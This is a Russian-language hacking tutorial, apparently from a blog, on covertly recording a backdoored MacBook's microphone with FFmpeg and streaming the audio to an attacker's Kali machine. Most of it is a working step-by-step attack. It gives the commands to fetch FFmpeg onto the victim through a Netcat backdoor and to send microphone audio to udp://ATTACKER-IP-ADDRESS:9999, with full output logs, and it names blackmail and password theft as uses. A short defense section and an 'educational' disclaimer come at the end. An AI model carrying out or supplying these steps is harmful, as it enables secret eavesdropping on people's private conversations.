GoogleAmazon и Facebook всегда слушают. Что может быть хуже? Хакеры, кстати, тоже слушают. Особенно уязвимы ПК с Windows. С помощью нескольких простых команд хакер может удаленно захватить микрофон на чем-то Mac’е, а затем, используя потоковое аудио в режиме реального времени прослушивать частные разговоры без ведома жертвы, злоупотребляя халатным отношением к вопросам безопасности.

После того, как хакер установит бэкдор на уязвимом MacBook или удаленно скомпрометирует устройство с помощью фейкового PDF-документа, он может использовать современные фреймворки для пост-эксплуатации уязвимостей, такие как Empire или Metasploit. На этот раз мы покажем способ незаметного прослушивания аудио с помощью микрофона жертвы, используя приложение FFmpeg.

Как работает атака по прослушиванию микрофона

FFmpeg — это мультимедийный фреймворк, способный декодировать, кодировать, транскодировать, конвертировать, передавать и воспроизводить большинство мультимедийных форматов в дистрибутивах Windows, MacOS и *nix-систем.

Эта утилита должна быть установлена на обеих машинах — и на забэкдоренном MacBook’е, и на машине хакера с Kali. Прослушивающий сервер будет размещен на стороне хакера, а звук, соответственно, будет отправляться с MacBook’а жертвы на систему злоумышленника. Затем хакер сможет подключиться к идущему аудиопотоку, который и создает FFmpeg, и услышать все, что происходит вокруг скомпрометированного MacBook.

Информация, которую можно перехватить подобным образом, может быть самой разнообразной. Это могут быть личные беседы, в которых жертва сообщает своему собеседнику какой-нибудь пароль или секрет, личная информация, предоставляемая во время телефонных переговоров, или разговоры, которые позднее могут использоваться для шантажа. Эта информация может быть очень важной для хакера. Он может использовать ее против самой жертвы, членов ее семьи или коллег по работе и бизнесу.

Шаг 1. Установите FFmpeg в Kali

В системе Kali Linux хакера FFmpeg можно установить из репозиториев с помощью команды apt-get install ffmpeg, как показано ниже:

apt-get install ffmpeg

Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
ffmpeg-doc
The following packages will be upgraded:
ffmpeg
1 upgraded, 0 newly installed, 0 to remove and 596 not upgraded.
Need to get 1,622 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 [http://archive-3.kali.org/kali ] kali-rolling/main amd64 ffmpeg amd64 7:3.4.2-2+b1 1,622 kB
Fetched 1,622 kB in 3s (540.9 kB/s)
Reading changelogs... Done
(Reading database ... 312014 files and directories currently installed.)
Preparing to unpack .../ffmpeg_7%3a3.4.2-2+b1_amd64.deb ...
Unpacking ffmpeg (7:3.4.2-2+b1) over (7:3.4.2-1+b1) ...
Setting up ffmpeg (7:3.4.2-2+b1) ...
Processing triggers for man-db (2.8.2-1) ...

Шаг 2. Конфигурирование FFmpeg-сервера

Чтобы хакер получил входящий аудиопоток, FFmpeg необходимо определенным образом настроить в системе. Следующую команду можно использовать для запуска FFmpeg.

ffmpeg -i udp: //0.0.0.0: 9999 /tmp/outputFile.mp3

Эта команда дает указание FFmpeg открыть UDP-порт (udp://) 9999 и принимать входные (-i) данные для каждого доступного интерфейса (0.0.0.0). Затем он сохранит аудиопоток в каталог /tmp в MP3-формате и присвоит сохраненному файлу имя outputFile.mp3. Номер порта (9999), каталог сохранения (/tmp) и имя конечного файла могут быть, конечно же, изменены по мере необходимости. Для этой демонстрации мы используем простые для запоминания значения.

Читать также:  Основы Linux. Часть 17 (DNS-клиент)

Вот и все, что касается настройки FFmpeg в системе атакующего. Дальше мы посмотрим на то, как настроить FFmpeg на забэкдоренном MacBook.

Шаг 3. Установите FFmpeg на взломанном MacBook’е

FFmpeg способен захватывать аудио через AVFoundation от Appleполнофункциональную среду  для работы с медиаформатами на iOS, macOS и watchOS. С помощью AVFoundation пользователи могут воспроизводить, создавать и редактировать медиафайлы, а также создавать мощную мультимедийную функциональность в приложениях.

Из Netcat-бэкдора на MacBook воспользуйтесь cURL для того, чтобы скачать FFmpeg и сохранить ZIP-файл в каталог /tmp. Это можно сделать с помощью команды ниже. Чтобы избежать лишних подозрений со стороны пользователя, на целевом MacBook можно использовать другой каталог, отличный от /tmp.

curl 'https://FFmpeg.zeranoe.com/builds/macos64/static/FFmpeg-4.0-macos64-static.zip' -o /tmp/ffmpeg.zip

Когда загрузка будет завершена, для разархивации файлов используйте команду unzip /tmp/ffmpeg.zip, как показано ниже:

unzip /tmp/ffmpeg.zip

Archive: ffmpeg.zip
creating: ffmpeg-4.0-macos64-static/
creating: ffmpeg-4.0-macos64-static/bin/
inflating: ffmpeg-4.0-macos64-static/bin/ffmpeg
inflating: ffmpeg-4.0-macos64-static/bin/ffplay
inflating: ffmpeg-4.0-macos64-static/bin/ffprobe
creating: ffmpeg-4.0-macos64-static/doc/
inflating: ffmpeg-4.0-macos64-static/doc/bootstrap.min.css
inflating: ffmpeg-4.0-macos64-static/doc/default.css
inflating: ffmpeg-4.0-macos64-static/doc/developer.html
inflating: ffmpeg-4.0-macos64-static/doc/faq.html
inflating: ffmpeg-4.0-macos64-static/doc/fate.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-all.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-bitstream-filters.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-codecs.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-devices.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-filters.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-formats.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-protocols.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-resampler.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-scaler.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-utils.html
inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg.html
inflating: ffmpeg-4.0-macos64-static/doc/ffplay-all.html
inflating: ffmpeg-4.0-macos64-static/doc/ffplay.html
inflating: ffmpeg-4.0-macos64-static/doc/ffprobe-all.html
inflating: ffmpeg-4.0-macos64-static/doc/ffprobe.html
inflating: ffmpeg-4.0-macos64-static/doc/general.html
inflating: ffmpeg-4.0-macos64-static/doc/git-howto.html
inflating: ffmpeg-4.0-macos64-static/doc/libavcodec.html
inflating: ffmpeg-4.0-macos64-static/doc/libavdevice.html
inflating: ffmpeg-4.0-macos64-static/doc/libavfilter.html
inflating: ffmpeg-4.0-macos64-static/doc/libavformat.html
inflating: ffmpeg-4.0-macos64-static/doc/libavutil.html
inflating: ffmpeg-4.0-macos64-static/doc/libswresample.html
inflating: ffmpeg-4.0-macos64-static/doc/libswscale.html
inflating: ffmpeg-4.0-macos64-static/doc/mailing-list-faq.html
inflating: ffmpeg-4.0-macos64-static/doc/nut.html
inflating: ffmpeg-4.0-macos64-static/doc/platform.html
inflating: ffmpeg-4.0-macos64-static/doc/style.min.css
inflating: ffmpeg-4.0-macos64-static/LICENSE.txt
creating: ffmpeg-4.0-macos64-static/presets/
inflating: ffmpeg-4.0-macos64-static/presets/ffprobe.xsd
inflating: ffmpeg-4.0-macos64-static/presets/libvpx-1080p.ffpreset
inflating: ffmpeg-4.0-macos64-static/presets/libvpx-1080p50_60.ffpreset
inflating: ffmpeg-4.0-macos64-static/presets/libvpx-360p.ffpreset
inflating: ffmpeg-4.0-macos64-static/presets/libvpx-720p.ffpreset
inflating: ffmpeg-4.0-macos64-static/presets/libvpx-720p50_60.ffpreset
inflating: ffmpeg-4.0-macos64-static/README.txt

В процессе разархивации будет создан новый каталог под названием «ffmpeg-4.0-macos64-static/». В этой новой директории будет находиться директория bin/, содержащая бинарный (исполняемый) файл ffmpeg. Перейдите в каталог bin/, используя команду cd.

cd ffmpeg-4.0-macos64-static/bin/

Убедитесь, что бинарный файл FFmpeg имеет необходимые права на выполнение на MacBook’е. Это можно сделать с помощью команды chmod.

chmod 777 FFmpeg

Затем просмотрите список всех доступных устройств ввода на MacBook’е, используя команду ./ffmpeg -f avfoundation -list_devices true -i », как показано ниже:

./ffmpeg -f avfoundation -list_devices true -i ""

AVFoundation input device @ 0x7fda1bc152c0 AVFoundation video devices:
AVFoundation input device @ 0x7fda1bc152c0 0 FaceTime HD Camera (Built-in)
AVFoundation input device @ 0x7fda1bc152c0 1 Capture screen 0
AVFoundation input device @ 0x7fda1bc152c0 AVFoundation audio devices:
AVFoundation input device @ 0x7fda1bc152c0 0 USB Audio CODEC
AVFoundation input device @ 0x7fda1bc152c0 1 Built-in Microphone

Эта команда укажет (-f) FFmpeg использовать формат AVFoundation и вывести в виде списка (-list_devices) все доступные на данном MacBook’е устройства ввода (-i »). AVFoundation использует нотацию «Видео: Аудио», поэтому захват звука с помощью встроенного микрофона в следующей команде будет выглядеть как «:1», потому что микрофон назначается аудиоустройству «1».

Чтобы захватить аудио с помощью встроенного микрофона, выполните на взломанном MacBook из командной строки Netcat следующую команду:

./ffmpeg -f avfoundation -i ':1' -f mp3 udp://ATTACKER-IP-ADDRESS:9999

Помните, что источник входящего звука может отображаться на других устройствах MacBook как «0» или «2». Параметр -f здесь опять используется для указания формата вывода (MP3) и отправляет аудиопоток на UDP-адрес хакера на порт 9999.

Читать также:  Учимся работать с Tor. Настройка Tor. Настройка Google Chrome через сеть TOR

Из Netcat-бэкдора будут поступать сгенерированные данные из аудиопотока, как показано ниже:

ffmpeg version 4.0 Copyright (c) 2000-2018 the FFmpeg developers
built with Apple LLVM version 9.1.0 (clang-902.0.39.1)

configuration: --enable-gpl --enable-version3 --enable-sdl2 --enable-bzlib --enable-fontconfig --enable-gnutls --enable-iconv --enable-libass --enable-libbluray --enable-libfreetype --enable-libmp3lame --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-libopus --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libtheora --enable-libtwolame --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxml2 --enable-libzimg --enable-lzma --enable-zlib --enable-gmp --enable-libvidstab --enable-libvorbis --enable-libvo-amrwbenc --enable-libmysofa --enable-libspeex --enable-libxvid --enable-libaom --enable-appkit --enable-avfoundation --enable-coreimage --enable-audiotoolbox

libavutil 56. 14.100 / 56. 14.100
libavcodec 58. 18.100 / 58. 18.100
libavformat 58. 12.100 / 58. 12.100
libavdevice 58. 3.100 / 58. 3.100
libavfilter 7. 16.100 / 7. 16.100
libswscale 5. 1.100 / 5. 1.100
libswresample 3. 1.100 / 3. 1.100
libpostproc 55. 1.100 / 55. 1.100
Input #0, avfoundation, from ':1':
Duration: N/A, start: 68239.447483, bitrate: 2822 kb/s
Stream #0:0: Audio: pcm_f32le, 44100 Hz, stereo, flt, 2822 kb/s
Stream mapping:
Stream #0:0 -> #0:0 (pcm_f32le (native) -> mp3 (libmp3lame))
Press q to stop, ? for help
Output #0, mp3, to 'udp://ATTACKER-IP-ADDRESS:9999':
Metadata:
TSSE : Lavf58.12.100
Stream #0:0: Audio: mp3 (libmp3lame), 44100 Hz, stereo, fltp
Metadata:
encoder : Lavc58.18.100 libmp3lame
ze= 2354kB time=00:02:30.62 bitrate= 128.0kbits/s speed=0.999x

На сервере хакера терминал FFmpeg отобразит аудиоданные и начнет сохранять аудио в указанную (/tmp) директорию.

ffmpeg version 3.4.2-2+b1 Copyright (c) 2000-2018 the FFmpeg developers
built with gcc 7 (Debian 7.3.0-16)
libavutil 55. 78.100 / 55. 78.100
libavcodec 57.107.100 / 57.107.100
libavformat 57. 83.100 / 57. 83.100
libavdevice 57. 10.100 / 57. 10.100
libavfilter 6.107.100 / 6.107.100
libavresample 3. 7. 0 / 3. 7. 0
libswscale 4. 8.100 / 4. 8.100
libswresample 2. 9.100 / 2. 9.100
libpostproc 54. 7.100 / 54. 7.100
Input #0, mp3, from 'udp://0.0.0.0:9999':
Metadata:
encoder : Lavf58.12.100
Duration: N/A, start: 0.000000, bitrate: 128 kb/s
Stream #0:0: Audio: mp3, 44100 Hz, stereo, s16p, 128 kb/s
Stream mapping:
Stream #0:0 -> #0:0 (mp3 (native) -> mp3 (libmp3lame))
Press q to stop, ? for help
Output #0, mp3, to '/tmp/outputFile.mp3':
Metadata:
TSSE : Lavf57.83.100
Stream #0:0: Audio: mp3 (libmp3lame), 44100 Hz, stereo, s16p
Metadata:
encoder : Lavc57.107.100 libmp3lame
mp3 @ 0x55ddc6449240 overread, skip -8 enddists: -4 -4
mp3 @ 0x55ddc6449240 overread, skip -9 enddists: -7 -7
mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -6 -6
mp3 @ 0x55ddc6449240 overread, skip -8 enddists: -5 -5
mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -1 -1
mp3 @ 0x55ddc6449240 overread, skip -5 enddists: -2 -2

...

mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -3 -3peed=0.997x
mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -6 -6
mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -2 -2peed=0.996x
mp3 @ 0x55ddc6449240 overread, skip -6 enddists: -5 -5peed=0.997x
mp3 @ 0x55ddc6449240 overread, skip -6 enddists: -5 -5peed=0.994x
mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -2 -2
mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -3 -3
size= 2466kB time=00:02:37.78 bitrate= 128.0kbits/s speed=0.994x
video:0kB audio:2466kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.010020%

Пока терминалы FFmpeg будут работать на обеих машинах, микрофон MacBook будет продолжать отправлять аудиопоток на сервер хакера, где он будет сохраняться в mp3 формате.

Читать также:  Как взламывать пароли. Часть 1. Принципы и технологии

Шаг 4. Установите MPV и послушайте потоковое аудио

Последний шаг — использовать аудиопоток. Это можно сделать с помощью программы MPV — консольного приложения, которое может воспроизводить аудио из командной строки. Используйте команду apt-get install mpv для установки MPV в Kali.

apt-get install mpv

Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
mpv
0 upgraded, 1 newly installed, 0 to remove and 596 not upgraded.
Need to get 0 B/933 kB of archives.
After this operation, 2,293 kB of additional disk space will be used.
Selecting previously unselected package mpv.
(Reading database ... 311978 files and directories currently installed.)
Preparing to unpack .../mpv_0.27.2-1_amd64.deb ...
Unpacking mpv (0.27.2-1) ...
Setting up mpv (0.27.2-1) ...

Наконец, используйте команду mpv —keep-open=yes /tmp/outputFile.mp3, чтобы начать прослушивать этот аудиофайл:

mpv --keep-open=yes /tmp/outputFile.mp3
Playing: outputFile.mp3
(+) Audio --aid=1 (mp3)
AO: pulse 44100Hz stereo 2ch s16
A: 00:01:54 / 00:02:37 (72%)

Аргумент -keep-open не обязателен. Он просто указывает MPV не завершать работу при достижении конца файла.

Как уже упоминалось, FFmpeg будет продолжать записывать аудиоданные в outputFile.mp3. Поскольку MPV воспроизводит аудио в реальном времени, то он может дойти до конца файла, прежде чем FFmpeg обработает входящий аудиопоток. Это похоже на то, как YouTube создает буфер для видео прежде, чем начать его воспроизводить. MPV не может воспроизводить звук, если FFmpeg не обработает его. Мы порекомендовали бы оставить 5-10-секундный буфер в терминале MPV для «бесшовного» (почти в реальном времени) воспроизведения потока.

Как защититься от атак захвата аудиопотока

С высокой долей вероятности антивирусное программное обеспечение не сможет защитить вас от таких атак, поскольку FFmpeg не считается вредоносным приложением и не пытается изменить какие-либо файлы на компьютере или открыть порты.

Регулярная проверка на наличие запущенных в системе подозрительных процессов с помощью команд top или ps — это все, что можно сделать. В будущем руководстве мы покажем, как научиться скрывать такие процессы от внимания пользователей, поэтому способ самостоятельной проверки на наличие запущенных в системе странных процессов не является достаточно надежным способом обнаружения таких атак.

Самый железобетонный способ защиты от такой прослушки — просто отключить кабель встроенного микрофона на MacBook, iMac или другом компьютере Mac, а затем использовать исключительно сторонние настольные микрофоны или наушники со встроенными микрофонами, которые вы можете легко отключать, когда не используете. Эта предосторожность, по крайней мере, ограничит вашу уязвимость к таким атакам.

Оставайтесь с нами

Вот и все на сегодня, что касается потоковой передачи звука со взломанного MacBook’а с помощью FFmpeg и MPV. В следующих статьях мы покажем, как сбрасывать Keychain-пароли, перехватывать нажатия клавиш, взламывать пароли iCloud и использовать различные модули пост-эксплуатации Empire и Metasploit для дальнейшего взлома MacOS-устройств.

Отказ от ответственности: Эта статья написана только для образовательных целей. Автор или издатель не публиковали эту статью для вредоносных целей. Если читатели хотели бы воспользоваться информацией для личной выгоды, то автор и издатель не несут ответственность за любой причиненный вред или ущерб.
Показать больше в Обучение

Оставить комментарий

Проверьте также

Как за 5 секунд обойти антивирусы с помощью одной Python-команды

Содержание:Шаг 1. Запустите сервер NetcatШаг 2. Сохраните полезную нагрузкуШаг 3. Загрузит…